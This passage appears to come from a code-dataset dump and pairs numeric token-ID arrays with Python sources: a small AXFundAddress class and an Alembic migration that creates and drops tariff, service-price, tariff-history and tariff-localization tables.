29898, 29955, 29900, 29900, 29897, 13, 4706, 325, 1884, 353, 660, 29963, 3313, 3453, 580, 13, 4706, 1583, 29889, 842, 3453, 29898, 29894, 1884, 29897, 13, 13, 4706, 1018, 29901, 13, 9651, 325, 1884, 29889, 1202, 8801, 29898, 2239, 1107, 7373, 703, 13599, 1024, 1159, 718, 525, 29901, 525, 718, 2062, 29898, 1311, 29889, 12719, 29889, 978, 4961, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 4706, 325, 1884, 29889, 1202, 8801, 29898, 2239, 1107, 7373, 703, 2558, 1159, 718, 525, 29901, 525, 718, 1583, 29889, 12719, 29889, 5083, 1989, 29889, 20970, 22130, 13, 4706, 301, 353, 660, 4775, 7373, 703, 7061, 1159, 718, 525, 29901, 525, 718, 1583, 29889, 7328, 29889, 517, 29918, 1481, 29918, 1807, 3101, 13, 4706, 325, 1884, 29889, 1202, 8801, 29898, 29880, 29897, 13, 4706, 301, 29889, 12038, 4074, 2467, 15675, 29898, 17303, 29889, 1626, 3549, 519, 2059, 14346, 29897, 13, 13, 4706, 325, 1884, 29889, 1202, 8801, 29898, 2239, 1107, 7373, 703, 20570, 29908, 4961, 13, 4706, 1583, 29889, 26828, 353, 1619, 20570, 1293, 29898, 1311, 29897, 13, 4706, 325, 1884, 29889, 1202, 8801, 29898, 1311, 29889, 26828, 29897, 13, 13, 4706, 298, 1884, 353, 660, 29950, 3313, 3453, 580, 13, 13, 4706, 396, 29890, 353, 660, 27031, 3125, 7373, 703, 6113, 5783, 13, 4706, 396, 29890, 29889, 3808, 287, 29889, 6915, 29898, 2892, 29901, 1583, 29889, 3539, 29918, 4906, 3101, 13, 4706, 396, 21368, 29889, 1202, 8801, 29898, 29890, 29897, 13, 13, 4706, 289, 353, 660, 27031, 3125, 7373, 703, 2776, 571, 1159, 718, 376, 376, 718, 1583, 29889, 29876, 29896, 29897, 13, 4706, 289, 29889, 3808, 287, 29889, 6915, 29898, 2892, 29901, 1583, 29889, 5675, 29918, 3597, 29918, 974, 571, 29898, 1311, 29889, 29883, 29906, 29892, 1583, 29889, 29883, 29896, 876, 13, 4706, 565, 451, 1583, 29889, 3358, 29893, 29901, 13, 9651, 289, 29889, 842, 4205, 3606, 29898, 5574, 29897, 13, 4706, 298, 1884, 29889, 1202, 8801, 29898, 29890, 29897, 13, 13, 4706, 289, 353, 660, 27031, 3125, 7373, 703, 2776, 571, 1159, 718, 376, 376, 718, 1583, 29889, 29876, 29906, 29897, 13, 4706, 289, 29889, 3808, 287, 29889, 6915, 29898, 2892, 29901, 1583, 29889, 5675, 29918, 3597, 29918, 974, 571, 29898, 1311, 29889, 29883, 29896, 29892, 1583, 29889, 29883, 29906, 876, 13, 4706, 565, 451, 1583, 29889, 3358, 29893, 29901, 13, 9651, 289, 29889, 842, 4205, 3606, 29898, 5574, 29897, 13, 4706, 298, 1884, 29889, 1202, 8801, 29898, 29890, 29897, 13, 13, 4706, 298, 1884, 29889, 1202, 855, 10301, 29898, 29896, 29897, 13, 13, 4706, 298, 1884, 29889, 1202, 8801, 29898, 11123, 3125, 29898, 1311, 876, 13, 13, 4706, 325, 1884, 29889, 1202, 3453, 29898, 21368, 29897, 13, 13, 4706, 1583, 29889, 4294, 580, 13, 13, 4706, 1583, 29889, 7085, 6185, 4641, 29903, 335, 29889, 6915, 29898, 1311, 29889, 26828, 29889, 7085, 29918, 7099, 14740, 29897, 13, 13, 4706, 822, 373, 29918, 8698, 29898, 2914, 1125, 13, 9651, 1583, 29889, 11618, 353, 7477, 29893, 29889, 11618, 13, 9651, 7477, 29893, 29889, 14035, 29879, 29918, 7099, 14740, 29889, 4397, 29898, 1311, 29889, 7085, 6185, 4641, 29903, 335, 29889, 21976, 29897, 13, 9651, 1583, 29889, 26828, 29889, 5504, 580, 13, 13, 4706, 270, 353, 20340, 292, 7647, 29898, 1311, 29892, 903, 877, 6585, 292, 856, 5477, 7477, 29893, 29889, 2962, 29892, 13, 462, 3986, 373, 29918, 8698, 29892, 6213, 29897, 13, 13, 1678, 822, 3802, 2624, 29898, 1311, 29892, 1741, 1125, 13, 4706, 1741, 29889, 16044, 580, 13, 4706, 1018, 29901, 13, 9651, 7928, 29879, 29889, 5992, 29898, 1311, 29897, 13, 4706, 5174, 7865, 2392, 29901, 13, 9651, 1209, 13, 4706, 1583, 29889, 4912, 29893, 29889, 9847, 580, 13, 13, 1678, 822, 12560, 29898, 1311, 29892, 1125, 13, 4706, 1583, 29889, 5358, 580, 13, 13, 1678, 822, 679, 29918, 7247, 29898, 1311, 1125, 13, 4706, 736, 518, 1311, 29889, 7328, 29962, 13, 13, 1678, 822, 12672, 29918, 7508, 29898, 1311, 29892, 25568, 1125, 13, 4706, 822, 6939, 29898, 5327, 1125, 13, 9651, 4589, 353, 2933, 29889, 657, 877, 2704, 1495, 13, 9651, 565, 4589, 29901, 13, 18884, 1018, 29901, 13, 462, 1678, 1596, 29918, 303, 20405, 703, 12460, 12672, 1059, 613, 4589, 1839, 401, 7464, 4589, 1839, 4906, 11287, 13, 18884, 5174, 29901, 13, 462, 1678, 1596, 29918, 303, 20405, 703, 12460, 12672, 1059, 29901, 613, 4589, 29897, 13, 9651, 1683, 29901, 13, 18884, 1596, 29918, 2704, 703, 12460, 12672, 1121, 29901, 613, 2933, 29897, 29871, 396, 1192, 369, 15828, 871, 13, 13, 4706, 1018, 29901, 13, 9651, 1583, 29889, 11618, 29889, 6729, 328, 4384, 29918, 20736, 29898, 7508, 29889, 643, 6646, 3285, 6939, 29922, 14035, 29897, 13, 9651, 736, 5852, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1583, 29889, 4294, 29918, 2704, 703, 2392, 29901, 1273, 29879, 29908, 29995, 29898, 710, 29898, 29872, 4961, 13, 4706, 736, 7700, 13, 13, 1678, 822, 1207, 29918, 3597, 29918, 974, 571, 29898, 1311, 29892, 274, 29896, 29892, 274, 29906, 1125, 13, 4706, 270, 353, 660, 7647, 29898, 1311, 29897, 13, 4706, 270, 29889, 842, 5907, 7030, 7373, 703, 9984, 5236, 4587, 571, 5783, 13, 13, 4706, 17042, 1026, 353, 1583, 29889, 3358, 29893, 29889, 14625, 1026, 13, 4706, 1820, 353, 1583, 29889, 3358, 29893, 29889, 1989, 13, 4706, 590, 5467, 1989, 353, 1820, 29889, 5467, 1989, 13, 13, 4706, 5912, 353, 660, 29963, 3313, 3453, 580, 13, 4706, 270, 29889, 842, 3453, 29898, 2680, 29897, 13, 13, 4706, 2930, 353, 20743, 3401, 3313, 29898, 1311, 29892, 5852, 29897, 13, 4706, 2930, 29889, 29893, 424, 29918, 29883, 17929, 29918, 10702, 29889, 842, 7583, 3220, 29898, 29883, 29896, 29897, 13, 4706, 2930, 29889, 29893, 424, 29918, 29883, 17929, 29918, 10702, 29889, 842, 4205, 3606, 29898, 5574, 29897, 13, 4706, 2930, 29889, 29887, 573, 29918, 29883, 17929, 29918, 10702, 29889, 842, 7583, 3220, 29898, 29883, 29906, 29897, 13, 4706, 2930, 29889, 29887, 573, 29918, 29883, 17929, 29918, 10702, 29889, 842, 4205, 3606, 29898, 5574, 29897, 13, 4706, 5912, 29889, 1202, 8801, 29898, 1631, 29897, 13, 13, 4706, 298, 1884, 353, 660, 29950, 3313, 3453, 580, 13, 4706, 5912, 29889, 1202, 3453, 29898, 21368, 29897, 13, 13, 4706, 298, 1884, 29889, 1202, 855, 10301, 29898, 29896, 29897, 13, 13, 4706, 289, 353, 660, 27031, 3125, 7373, 703, 19420, 5783, 13, 4706, 289, 29889, 3808, 287, 29889, 6915, 29898, 29881, 29889, 276, 622, 29897, 13, 4706, 298, 1884, 29889, 1202, 8801, 29898, 29890, 29897, 13, 13, 4706, 289, 353, 660, 27031, 3125, 7373, 703, 12600, 5783, 13, 4706, 289, 29889, 3808, 287, 29889, 6915, 29898, 29881, 29889, 16044, 29897, 13, 4706, 298, 1884, 29889, 1202, 8801, 29898, 29890, 29897, 13, 13, 4706, 270, 29889, 842, 5907, 2111, 2877, 29898, 17303, 29889, 5907, 19751, 29897, 13, 13, 4706, 565, 451, 270, 29889, 4258, 29918, 7295, 13, 9651, 736, 13, 4706, 1018, 29901, 13, 9651, 626, 7516, 353, 679, 29918, 29879, 4507, 22880, 29918, 3998, 3071, 29898, 1631, 29889, 29893, 424, 29918, 14506, 29918, 29872, 29889, 726, 3101, 13, 9651, 626, 29873, 29887, 353, 679, 29918, 29879, 4507, 22880, 29918, 3998, 3071, 29898, 1631, 29889, 29887, 573, 29918, 14506, 29918, 29872, 29889, 726, 3101, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1583, 29889, 4294, 29918, 2704, 7373, 703, 29089, 6088, 5253, 29901, 1159, 718, 851, 29898, 29872, 876, 13, 13, 4706, 565, 274, 29896, 1275, 1583, 29889, 29883, 29896, 322, 274, 29906, 1275, 1583, 29889, 29883, 29906, 29901, 13, 9651, 10191, 13193, 353, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29915, 718, 626, 7516, 29889, 517, 29918, 13193, 29898, 29947, 5501, 3752, 1495, 718, 626, 29873, 29887, 29889, 517, 29918, 13193, 29898, 29947, 5501, 3752, 1495, 13, 4706, 25342, 274, 29896, 1275, 1583, 29889, 29883, 29906, 322, 274, 29906, 1275, 1583, 29889, 29883, 29896, 29901, 13, 9651, 10191, 13193, 353, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29915, 718, 626, 29873, 29887, 29889, 517, 29918, 13193, 29898, 29947, 5501, 3752, 1495, 718, 626, 7516, 29889, 517, 29918, 13193, 29898, 29947, 5501, 3752, 1495, 13, 4706, 848, 353, 1583, 29889, 12719, 29889, 5150, 29918, 3977, 4641, 29898, 7645, 13193, 29892, 590, 5467, 1989, 29897, 13, 13, 4706, 1018, 29901, 13, 9651, 25568, 353, 1820, 29889, 3258, 29918, 4906, 29898, 14625, 1026, 29892, 1583, 29889, 12719, 29889, 7328, 29892, 848, 29892, 1583, 29889, 2917, 29897, 13, 9651, 1583, 29889, 6729, 328, 4384, 29918, 7508, 29898, 7508, 29897, 13, 4706, 5174, 289, 305, 4906, 29889, 3664, 2369, 820, 29943, 870, 29879, 29901, 13, 9651, 1583, 29889, 4294, 29918, 2704, 703, 3664, 3307, 29199, 373, 445, 3211, 23157, 13, 13, 1678, 822, 1207, 29918, 9053, 29918, 974, 571, 29898, 1311, 29892, 2731, 29918, 5467, 1989, 29892, 1797, 29918, 29896, 29906, 29892, 626, 7516, 29892, 626, 29873, 29887, 1125, 13, 4706, 396, 501, 8485, 363, 1369, 310, 3480, 327, 11685, 13, 4706, 17042, 1026, 353, 1583, 29889, 3358, 29893, 29889, 14625, 1026, 13, 4706, 1820, 353, 1583, 29889, 3358, 29893, 29889, 1989, 13, 13, 4706, 1286, 353, 938, 29898, 2230, 29889, 2230, 3101, 13, 4706, 5957, 353, 13246, 29893, 481, 29889, 2776, 571, 3401, 29898, 13, 18884, 15795, 353, 5993, 29918, 13193, 29898, 29947, 511, 13, 18884, 864, 29918, 29878, 2230, 353, 1286, 718, 29871, 29896, 29900, 29930, 29941, 29953, 29900, 29900, 29892, 13, 18884, 2367, 29918, 29878, 2230, 353, 1286, 718, 29871, 29945, 29930, 29941, 29953, 29900, 29900, 29892, 13, 18884, 864, 29918, 14506, 353, 626, 29873, 29887, 29892, 13, 18884, 864, 29918, 29873, 6541, 353, 1583, 29889, 29890, 29896, 565, 1797, 29918, 29896, 29906, 1683, 1583, 29889, 29890, 29906, 29892, 13, 18884, 2367, 29918, 14506, 353, 626, 7516, 29892, 13, 18884, 2367, 29918, 29873, 6541, 353, 1583, 29889, 29890, 29906, 565, 1797, 29918, 29896, 29906, 1683, 1583, 29889, 29890, 29896, 29892, 13, 18884, 1723, 13, 4706, 270, 353, 4587, 571, 3401, 7647, 29898, 1311, 29892, 5957, 29892, 2731, 29918, 5467, 1989, 29892, 4464, 2433, 3258, 1495, 13, 4706, 620, 353, 270, 29889, 4258, 29918, 580, 13, 4706, 565, 620, 29901, 13, 9651, 1018, 29901, 13, 18884, 5957, 3888, 353, 270, 29889, 657, 29918, 974, 571, 3888, 580, 13, 18884, 27068, 353, 13246, 29893, 481, 29889, 16638, 300, 2776, 571, 29889, 5675, 29898, 1989, 29889, 22534, 1989, 29892, 2731, 29918, 5467, 1989, 29892, 5957, 3888, 29897, 13, 18884, 5957, 7645, 353, 13246, 29893, 481, 29889, 6585, 10840, 481, 3728, 4197, 29886, 557, 1402, 1120, 459, 328, 29922, 29906, 29900, 29946, 29897, 13, 18884, 2643, 13193, 353, 5957, 7645, 29889, 517, 29918, 13193, 580, 13, 13, 18884, 848, 353, 1820, 29889, 3977, 4641, 29918, 9053, 29918, 4906, 29898, 4906, 13193, 29892, 2731, 29918, 5467, 1989, 29897, 13, 18884, 25568, 353, 1820, 29889, 3258, 29918, 4906, 29898, 14625, 1026, 29892, 16428, 29889, 3166, 29918, 5467, 1989, 29898, 7854, 29918, 5467, 1989, 511, 848, 29892, 1583, 29889, 2917, 29897, 13, 18884, 1583, 29889, 6729, 328, 4384, 29918, 7508, 29898, 7508, 29897, 13, 9651, 5174, 289, 305, 4906, 29889, 3664, 2369, 820, 29943, 870, 29879, 29901, 13, 18884, 1583, 29889, 4294, 29918, 2704, 703, 3664, 3307, 29199, 373, 445, 3211, 23157, 13, 9651, 5174, 8960, 408, 321, 29901, 13, 18884, 1053, 9637, 1627, 13, 18884, 9637, 1627, 29889, 2158, 29918, 735, 29883, 580, 13, 18884, 1583, 29889, 4294, 29918, 2704, 29898, 710, 29898, 29872, 876, 13, 13, 1990, 1619, 20570, 1293, 29898, 3421, 9643, 8801, 1125, 13, 29937, 1678, 4175, 29918, 13099, 353, 518, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 29962, 29871, 396, 4712, 29892, 12953, 29892, 1913, 792, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3847, 1125, 13, 4706, 1619, 9643, 8801, 17255, 2344, 12035, 1311, 29892, 3847, 29892, 1583, 29889, 3258, 29918, 6510, 29892, 13, 462, 795, 6024, 742, 903, 877, 2539, 5477, 903, 877, 4591, 5477, 903, 877, 1469, 1495, 21251, 13, 462, 1669, 29941, 29892, 518, 2314, 13, 4706, 1583, 29889, 842, 13685, 292, 10861, 29898, 5574, 29897, 13, 4706, 1583, 29889, 6605, 2059, 4409, 29898, 29900, 29892, 14705, 29889, 29909, 1557, 2548, 7514, 29897, 13, 13, 4706, 1583, 29889, 3712, 359, 3535, 9824, 353, 660, 9824, 29898, 22877, 3267, 29925, 11538, 29918, 29943, 1164, 29911, 29897, 13, 4706, 1583, 29889, 4882, 29902, 3200, 353, 6571, 13, 4706, 1583, 29889, 14625, 1026, 353, 3847, 29889, 14625, 1026, 13, 4706, 1583, 29889, 262, 11506, 29918, 2696, 414, 353, 6571, 29871, 396, 7160, 23235, 5957, 23912, 13, 13, 1678, 822, 2355, 29918, 7099, 14740, 29898, 1311, 29892, 25568, 29918, 8568, 1125, 13, 4706, 1583, 29889, 5504, 580, 13, 13, 1678, 822, 373, 29918, 5504, 29898, 1311, 1125, 13, 4706, 2944, 353, 1583, 29889, 3784, 2001, 580, 13, 4706, 1857, 29918, 7508, 353, 2944, 29889, 1272, 29898, 29900, 29892, 14705, 29889, 2659, 16727, 29897, 565, 2944, 1683, 6213, 13, 4706, 1583, 29889, 8551, 580, 13, 13, 4706, 7477, 29893, 353, 1583, 29889, 3560, 29889, 4912, 29893, 13, 4706, 17042, 1026, 353, 1583, 29889, 14625, 1026, 13, 4706, 521, 273, 7328, 353, 7477, 29893, 29889, 7328, 13, 4706, 26354, 29893, 353, 1583, 29889, 3560, 29889, 3358, 29893, 13, 4706, 565, 26354, 29893, 29901, 13, 9651, 590, 5467, 1989, 353, 26354, 29893, 29889, 1989, 29889, 5467, 1989, 13, 4706, 1683, 29901, 13, 9651, 590, 5467, 1989, 353, 6213, 13, 13, 4706, 396, 7463, 740, 304, 367, 2000, 2629, 2425, 2400, 13, 4706, 822, 1925, 667, 29898, 29875, 29892, 6155, 509, 1125, 13, 9651, 2944, 353, 20025, 519, 9643, 8801, 2001, 4197, 13, 18884, 15516, 13, 18884, 4660, 29918, 710, 29892, 13, 18884, 525, 1004, 29915, 565, 515, 29918, 1004, 1683, 515, 29918, 5467, 1989, 14352, 29941, 29901, 1822, 20970, 3285, 13, 18884, 6155, 509, 29892, 13, 462, 2314, 13, 13, 9651, 565, 4660, 451, 297, 1583, 29889, 4882, 29902, 3200, 29901, 13, 18884, 1583, 29889, 4882, 29902, 3200, 29961, 4882, 29962, 353, 660, 12492, 703, 29901, 27078, 12975, 718, 323, 29990, 29918, 2965, 1164, 29903, 29961, 4882, 2314, 13, 9651, 9849, 353, 1583, 29889, 4882, 29902, 3200, 29961, 4882, 29962, 13, 9651, 2944, 29889, 842, 12492, 29898, 29900, 29892, 9849, 29897, 13, 9651, 2944, 29889, 842, 1469, 29898, 29900, 29892, 20025, 519, 9643, 8801, 2001, 29889, 1469, 16727, 29892, 313, 4882, 29892, 1970, 876, 13, 9651, 2944, 29889, 842, 12229, 29911, 666, 29898, 29900, 29892, 851, 29898, 5527, 29897, 718, 376, 9659, 362, 29908, 718, 4852, 29879, 29908, 565, 1970, 2804, 29871, 29896, 1683, 5124, 876, 13, 13, 9651, 2944, 29889, 842, 1469, 29898, 29900, 29892, 14705, 29889, 2659, 16727, 29892, 25568, 29918, 8568, 29897, 13, 9651, 2944, 29889, 842, 1469, 29898, 29906, 29892, 14705, 29889, 2659, 16727, 29892, 515, 29918, 5467, 1989, 29897, 13, 9651, 2944, 29889, 842, 12229, 29911, 666, 29898, 29941, 29892, 12801, 29886, 29958, 29995, 29879, 829, 29886, 16299, 29995, 29898, 21587, 29898, 4130, 7614, 511, 876, 13, 9651, 1583, 29889, 7851, 7031, 10108, 2001, 29898, 29900, 29892, 2944, 29897, 13, 9651, 565, 1857, 29918, 7508, 1275, 25568, 29918, 8568, 29901, 13, 18884, 1583, 29889, 842, 7583, 2001, 29898, 667, 29897, 13, 9651, 736, 2944, 13, 13, 4706, 363, 25568, 29918, 8568, 29892, 3171, 297, 17042, 1026, 29889, 657, 29918, 7328, 29918, 18434, 29898, 5083, 7328, 1125, 13, 9651, 5235, 353, 7477, 29893, 29889, 4906, 3888, 29889, 657, 29898, 7508, 29918, 8568, 29897, 13, 9651, 565, 451, 5235, 29901, 13, 18884, 6773, 13, 9651, 3171, 29892, 1970, 29892, 14334, 353, 17042, 1026, 29889, 657, 29918, 7508, 29918, 3545, 29898, 7508, 29918, 8568, 29897, 13, 9651, 4660, 29892, 4660, 29918, 710, 353, 17042, 1026, 29889, 657, 29918, 7508, 29918, 4882, 29898, 7508, 29918, 8568, 29892, 3171, 29892, 1970, 29892, 14334, 29897, 13, 13, 9651, 515, 29918, 5467, 1989, 353, 5235, 1839, 4351, 2033, 13, 9651, 515, 29918, 1004, 353, 313, 3166, 29918, 5467, 1989, 1275, 590, 5467, 1989, 29897, 13, 13, 9651, 565, 5235, 1839, 4882, 2033, 1275, 525, 19170, 2396, 13, 18884, 396, 25568, 4225, 304, 367, 26834, 13, 18884, 1925, 667, 29898, 29900, 29892, 525, 369, 9215, 1495, 13, 18884, 6773, 13, 13, 9651, 2643, 13193, 353, 5235, 29889, 657, 877, 4906, 1495, 13, 13, 9651, 565, 2643, 13193, 338, 6213, 29901, 13, 18884, 1925, 667, 29898, 29900, 29892, 525, 29973, 1495, 13, 18884, 6773, 13, 13, 9651, 1018, 29901, 13, 18884, 4055, 353, 2643, 13193, 7503, 29906, 29962, 13, 18884, 4974, 7431, 29898, 4906, 13193, 29897, 1275, 29871, 29896, 29947, 13, 18884, 565, 4055, 1275, 289, 12764, 29900, 29905, 29900, 2396, 13, 462, 1678, 626, 7516, 353, 938, 29889, 3166, 29918, 13193, 29898, 4906, 13193, 29961, 29906, 29901, 29896, 29900, 1402, 525, 3752, 1495, 13, 462, 1678, 626, 29873, 29887, 353, 938, 29889, 3166, 29918, 13193, 29898, 4906, 13193, 29961, 29896, 29900, 29901, 29896, 29947, 1402, 525, 3752, 1495, 13, 462, 1678, 302, 29893, 353, 1583, 29889, 3560, 29889, 29876, 29896, 13, 462, 1678, 8736, 353, 1583, 29889, 3560, 29889, 29876, 29906, 13, 462, 1678, 848, 353, 313, 8824, 29892, 626, 7516, 29892, 626, 29873, 29887, 29897, 13, 18884, 25342, 4055, 1275, 289, 12764, 29900, 29905, 29896, 2396, 13, 462, 1678, 626, 29873, 29887, 353, 938, 29889, 3166, 29918, 13193, 29898, 4906, 13193, 29961, 29906, 29901, 29896, 29900, 1402, 525, 3752, 1495, 13, 462, 1678, 626, 7516, 353, 938, 29889, 3166, 29918, 13193, 29898, 4906, 13193, 29961, 29896, 29900, 29901, 29896, 29947, 1402, 525, 3752, 1495, 13, 462, 1678, 8736, 353, 1583, 29889, 3560, 29889, 29876, 29896, 13, 462, 1678, 302, 29893, 353, 1583, 29889, 3560, 29889, 29876, 29906, 13, 462, 1678, 848, 353, 313, 5574, 29892, 626, 7516, 29892, 626, 29873, 29887, 29897, 13, 18884, 2944, 353, 1925, 667, 29898, 29900, 29892, 525, 29956, 1934, 1273, 29879, 1273, 29879, 363, 1273, 29879, 1273, 29879, 29915, 29995, 29898, 4830, 29918, 29879, 4507, 22880, 29918, 24595, 29918, 3998, 3071, 29898, 314, 7516, 511, 302, 29893, 29892, 13, 462, 462, 462, 965, 3402, 29918, 29879, 4507, 22880, 29918, 24595, 29918, 3998, 3071, 29898, 8035, 29887, 511, 8736, 29892, 13, 462, 462, 462, 9651, 876, 13, 18884, 2944, 29889, 842, 1469, 29898, 29941, 29892, 14705, 29889, 2659, 16727, 29892, 848, 29897, 13, 9651, 5174, 29901, 13, 18884, 2944, 353, 1925, 667, 29898, 29900, 29892, 525, 1610, 11283, 718, 2643, 13193, 29889, 20970, 3101, 13, 13, 1678, 822, 373, 29918, 8896, 3808, 29898, 1311, 29892, 2944, 29892, 1897, 1125, 13, 4706, 565, 1583, 29889, 546, 2415, 29918, 5628, 29898, 667, 29892, 1897, 1125, 13, 9651, 2428, 2141, 265, 29918, 8896, 3808, 29898, 667, 29892, 1897, 29897, 13, 4706, 1683, 29901, 13, 9651, 25568, 29918, 8568, 353, 2944, 29889, 1272, 29898, 29900, 29892, 14705, 29889, 2659, 16727, 29897, 13, 9651, 25568, 353, 1583, 29889, 14625, 1026, 29889, 3286, 7387, 29889, 657, 29898, 7508, 29918, 8568, 29897, 13, 9651, 1583, 29889, 3560, 29889, 3396, 29918, 7165, 29889, 4294, 29918, 20736, 29898, 7508, 29897, 13, 13, 1678, 822, 1653, 29918, 6510, 29898, 1311, 29892, 2602, 1125, 13, 4706, 1583, 29889, 8391, 3220, 267, 580, 13, 4706, 2944, 353, 1583, 29889, 3784, 2001, 580, 13, 4706, 565, 451, 2944, 29901, 13, 9651, 736, 13, 13, 4706, 25568, 29918, 8568, 353, 2944, 29889, 1272, 29898, 29900, 29892, 14705, 29889, 2659, 16727, 29897, 13, 4706, 565, 451, 25568, 29918, 8568, 29901, 13, 9651, 736, 13, 13, 4706, 26354, 29893, 353, 1583, 29889, 3560, 29889, 3358, 29893, 13, 4706, 565, 26354, 29893, 29901, 13, 9651, 590, 5467, 1989, 353, 26354, 29893, 29889, 1989, 29889, 5467, 1989, 13, 4706, 1683, 29901, 13, 9651, 590, 5467, 1989, 353, 6213, 13, 13, 4706, 515, 29918, 5467, 1989, 353, 2944, 29889, 1272, 29898, 29906, 29892, 14705, 29889, 2659, 16727, 29897, 13, 4706, 515, 29918, 1004, 353, 313, 3166, 29918, 5467, 1989, 1275, 590, 5467, 1989, 29897, 13, 4706, 288, 3888, 353, 2944, 29889, 1272, 29898, 29941, 29892, 14705, 29889, 2659, 16727, 29897, 13, 13, 4706, 1897, 353, 1583, 29889, 3784, 4409, 580, 13, 4706, 565, 1897, 1275, 29871, 29900, 29901, 13, 9651, 1897, 29918, 3257, 353, 376, 1367, 29908, 13, 9651, 1897, 29918, 1272, 353, 25568, 29918, 8568, 13, 4706, 25342, 1897, 1275, 29871, 29906, 29901, 13, 9651, 1897, 29918, 3257, 353, 903, 703, 15452, 2529, 1989, 1159, 13, 9651, 1897, 29918, 1272, 353, 515, 29918, 5467, 1989, 29889, 20970, 580, 13, 4706, 1683, 29901, 13, 9651, 1897, 29918, 3257, 353, 1583, 29889, 6672, 2001, 2141, 726, 29898, 4914, 29897, 13, 9651, 1897, 29918, 1272, 353, 2944, 29889, 726, 29898, 4914, 29897, 13, 13, 4706, 6143, 353, 660, 6823, 580, 13, 13, 4706, 565, 451, 313, 3166, 29918, 1004, 470, 288, 3888, 338, 6213, 1125, 13, 9651, 6143, 29889, 1202, 4276, 7373, 703, 29940, 387, 15297, 403, 4968, 14013, 29901, 1583, 29889, 3560, 29889, 5675, 29918, 9053, 29918, 974, 571, 29898, 3166, 29918, 5467, 1989, 29892, 334, 29877, 3888, 876, 13, 13, 4706, 6143, 29889, 1202, 4276, 7373, 703, 11882, 6571, 2564, 4830, 29898, 4914, 29918, 3257, 511, 14013, 29901, 1583, 29889, 3560, 29889, 932, 29889, 24049, 3377, 2141, 12038, 29898, 4914, 29918, 1272, 876, 13, 13, 4706, 822, 1510, 7508, 7295, 13, 9651, 25568, 353, 1583, 29889, 14625, 1026, 29889, 3286, 7387, 29889, 657, 29898, 7508, 29918, 8568, 29897, 13, 9651, 1583, 29889, 3560, 29889, 3396, 29918, 7165, 29889, 4294, 29918, 20736, 29898, 7508, 29897, 13, 4706, 6143, 29889, 1202, 4276, 7373, 703, 1043, 323, 29916, 4968, 1510, 7508, 29897, 13, 13, 4706, 6143, 29889, 4258, 23538, 1311, 29889, 1493, 637, 2141, 1958, 1762, 12756, 29898, 3283, 876, 13, 2 ]
test1/views/models/axfundaddress.py
biz2013/xwjy
1
39731
class AXFundAddress(object): def __init__(self, address, alias): self.address = address self.alias = alias
[ 1, 770, 319, 29990, 29943, 870, 7061, 29898, 3318, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3211, 29892, 13995, 1125, 13, 4706, 1583, 29889, 7328, 353, 3211, 13, 4706, 1583, 29889, 19973, 353, 13995, 13, 2 ]
backend/model/migrate/versions/4dbaa3104f4_.py
deti/boss
7
15818
"""Added tariff Revision ID: 4dbaa3104f4 Revises: <PASSWORD> Create Date: 2015-05-27 16:00:09.343862 """ # revision identifiers, used by Alembic. revision = '<KEY>' down_revision = '<PASSWORD>' branch_labels = None depends_on = None from alembic import op import sqlalchemy as sa def upgrade(engine_name): globals()["upgrade_%s" % engine_name]() def downgrade(engine_name): globals()["downgrade_%s" % engine_name]() def upgrade_account(): ### commands auto generated by Alembic - please adjust! ### op.create_table('tariff', sa.Column('tariff_id', sa.Integer(), nullable=False), sa.Column('description', sa.Text(), nullable=True), sa.Column('currency', sa.String(length=3), nullable=True), sa.Column('parent_id', sa.Integer(), nullable=True), sa.Column('deleted', sa.DateTime(), nullable=True), sa.Column('created', sa.DateTime(), nullable=True), sa.Column('modified', sa.DateTime(), nullable=True), sa.Column('mutable', sa.Boolean(), nullable=True), sa.ForeignKeyConstraint(['parent_id'], ['tariff.tariff_id'], ), sa.PrimaryKeyConstraint('tariff_id') ) op.create_table('service_price', sa.Column('service_id', sa.String(length=32), nullable=False), sa.Column('price', sa.DECIMAL(precision=20, scale=6), nullable=True), sa.Column('tariff_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['tariff_id'], ['tariff.tariff_id'], ), sa.PrimaryKeyConstraint('service_id', 'tariff_id') ) op.create_table('tariff_history', sa.Column('history_id', sa.Integer(), nullable=False), sa.Column('event', sa.String(length=8), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('tariff_id', sa.Integer(), nullable=True), sa.Column('customer_id', sa.Integer(), nullable=True), sa.Column('date', sa.DateTime(), nullable=True), sa.Column('snapshot', sa.Text(), nullable=True), sa.ForeignKeyConstraint(['customer_id'], ['customer.customer_id'], ), sa.ForeignKeyConstraint(['tariff_id'], ['tariff.tariff_id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.user_id'], ), sa.PrimaryKeyConstraint('history_id') ) op.create_table('tariff_localization', sa.Column('language', sa.String(length=2), nullable=False), sa.Column('parent_id', sa.Integer(), nullable=False), sa.Column('localized_name', sa.String(length=254), nullable=True), sa.ForeignKeyConstraint(['parent_id'], ['tariff.tariff_id'], ), sa.PrimaryKeyConstraint('language', 'parent_id'), sa.UniqueConstraint('localized_name', 'language', name='uix_tariff_localization') ) ### end Alembic commands ### def downgrade_account(): ### commands auto generated by Alembic - please adjust! ### op.drop_table('tariff_localization') op.drop_table('tariff_history') op.drop_table('service_price') op.drop_table('tariff') ### end Alembic commands ### def upgrade_fitter(): pass def downgrade_fitter(): pass
